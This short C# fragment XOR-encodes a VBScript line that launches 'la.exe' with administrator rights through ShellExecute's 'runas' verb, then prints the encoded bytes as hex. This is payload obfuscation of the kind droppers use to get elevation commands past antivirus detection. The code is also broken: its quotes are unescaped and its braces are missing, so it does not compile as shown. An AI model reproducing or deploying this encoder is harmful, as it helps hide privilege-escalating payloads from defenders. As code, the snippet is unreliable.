public static void Main()
byte[] p = Encoding.UTF8.GetBytes("Set objShell = CreateObject("Shell.Application"):objShell.ShellExecute "la.exe", "/D", "", "runas", 1"));
byte[] k = Encoding.UTF8.GetBytes("test01");
byte[] e = new byte[p.Length];
for (int i = 0; i < p.Length; i++)
e[i] = (byte)(p[i] ^ k[i % k.Length]);
Console.WriteLine(BitConverter.ToString(e).Replace("-", ""));